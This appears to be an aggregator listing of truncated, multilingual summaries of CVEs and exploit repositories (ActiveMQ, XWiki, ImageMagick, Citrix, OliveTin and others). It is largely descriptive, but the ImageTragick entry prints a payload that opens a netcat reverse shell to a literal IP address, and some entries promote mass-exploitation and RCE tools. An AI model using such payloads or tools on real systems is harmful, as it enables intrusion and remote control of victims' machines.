CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Apache ActiveMQ와 OpenWire 개요 ActiveMQ는 JMS를 지원하는 클라이언트를 포함하는 브로커, 자바 뿐만 아니라 다양한 언어를 이용하는 시스템 간 의 통신을 할 수 있게해준다. 또한 클러스터링 기능 및 DB 그리고 FileSystem을 통해 각 시스템간의 일관성 및 지속성을 유지 시켜주는 오픈 소스 메세징 그리고 통합 패턴 서버 입니다. 가. OpenWire는 Apache ActiveMQ에서 사용되는 이진 메시징 프로토...

CVE-2025-24893-PoC

CVE-2025-24893 - Exécution de code à distance RCE dans XWiki Une preuve de concept PoC mise à jour pour CVE-2025-24893 , une vulnérabilité critique RCE non authentifiée dans XWiki. Cette version améliore l'originale en permettant l'exécution arbitraire de commandes shell et une injection propre d...

cve-2023-1671

Сve-2023-1671 Comment fonctionne cve-2023-1671https://vulners.com/cve/CVE-2023-1671 ? /opt/ws/bin/ftsblistpack est un script Perl qui appelle /opt/ws/bin/sblistpack, qui est un autre script Perl. Les arguments de la commande shell qu'il contient sont entourés de guillemets simples : root@kitploit...

Langflow-CVE-2025-3248-Multi-target

⚠️ Scanner d'exploitation RCE Langflow CVE-2025-3248 Ce scanner basé sur Python automatise la détection des vulnérabilités d'exécution de code à distance RCE non authentifiée dans les instances Langflow via CVE-2025-3248. Il utilise une charge utile de preuve de concept qui exploite le point de...

CVE-2023-34152

CVE-2023-34152 Vulnérabilité RCE affectant ImageMagick 6.9.6-4. Cette vulnérabilité permet à l'attaquant d'exécuter des commandes sur le système victime, permettant ainsi une exécution de commandes à distance. Il s'agit d'une POC inspirée par la découverte de CVE-2023-34152 par fullwaywang...

Apache Spark UI - Remote Command Injection

Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilte...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through t...

Richsploit

Richsploit Richsploit: RichFaces용 익스플로잇 툴킷. 개요 Richsploit은 RichFaces를 사용하는 JSF 엔드포인트를 익스플로잇하는 데 사용할 수 있습니다. 3.1.0 이상의 모든 버전이 취약합니다. root@kitploit: usage: Richsploit -e,--exploit 0: CVE-2013-2165 1: CVE-2015-0279 2: CVE-2018-12532 3: CVE-2018-12533 4: CVE-2018-14667 -p,--payload The file containin...

ImageTragick_Poc

ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...

cve-2025-49844

CVE-2025-49844 Ma preuve de concept personnelle pour CVE-2025-49844, également connue sous le nom de RediShell. Constructions cibles prises en charge : Image Docker redis:8.2.1-alpine pour Linux x86-64 Image Docker redis:8.2.1-bookworm pour Linux x86-64 C'est un peu maladroit, probablement pas...

CVE-2026-40176-poc

CVE-2026-40176: Preuve de concept d'injection de commande OS Composer Perforce English version Aperçu Ce dépôt est une preuve de concept PoC de la vulnérabilité critique d'injection de commande OS CVE-2026-40176 présente dans le pilote Perforce VCS de Composer. Cette vulnérabilité affecte les...

CVE-2024-4358

CVE-2024-4358 Un outil de détection de vulnérabilité et d'exploitation de masse pour CVE-2024-4358 Installation: root@kitploit: git clone https://github.com/RevoltSecurities/CVE-2024-4358 pip install -r requirements.txt python3 exploit.py --help Utilisation: root@kitploit: python3 exploit.py -h /...

CVE-2026-65611

A flaw was found in nnn, a file manager. This vulnerability, known as Shell Command Injection, allows an attacker to execute arbitrary commands. By creating a specially crafted directory name containing shell syntax on a shared filesystem, removable media, or within an extracted archive, an...

PyHmmm

PyHmmm Qu'est-ce que c'est ? C'est un agent tiers pour Havoc C2 écrit en Python. Il est conçu comme un PoC de base pour apprendre à écrire des agents Havoc personnalisés, avec son article de blog associé...

CVE-2026-53541

OliveTin gives access to predefined shell commands from a web interface. The filterToDefinedArgumentsOnly function in the executor is intended to discard any arguments not explicitly defined in the action's configuration. However, prior to commit ebffd9f040f791208aee1db2e5a8aecd1e3e603d, a specia...

CVE-2026-53541 OliveTin has Unvalidated `ot_`-prefixed Arguments that Bypass Input Filtering

OliveTin gives access to predefined shell commands from a web interface. The filterToDefinedArgumentsOnly function in the executor is intended to discard any arguments not explicitly defined in the action's configuration. However, prior to commit ebffd9f040f791208aee1db2e5a8aecd1e3e603d, a specia...

CVE-2026-53541

OliveTin , a web interface for executing predefined shell commands, is vulnerable to improper input validation in its executor. The filterToDefinedArgumentsOnly function in service/internal/executor/executor.go contains a special case that allows any user-supplied argument prefixed with ot_ to by...

CVE-2026-63046

Improper Neutralization of Argument Delimiters in a Command 'Argument Injection' vulnerability in Apache InLong. Agent Installer's ModuleManager executes arbitrary shell commands via ExcuteLinux.exeCmd with no filtering or whitelist validation. This issue affects Apache InLong: from 2.0.0 before...

EUVD-2026-63849

Improper Neutralization of Argument Delimiters in a Command 'Argument Injection' vulnerability in Apache InLong. Agent Installer's ModuleManager executes arbitrary shell commands via ExcuteLinux.exeCmd with no filtering or whitelist validation. This issue affects Apache InLong: from 2.0.0 before...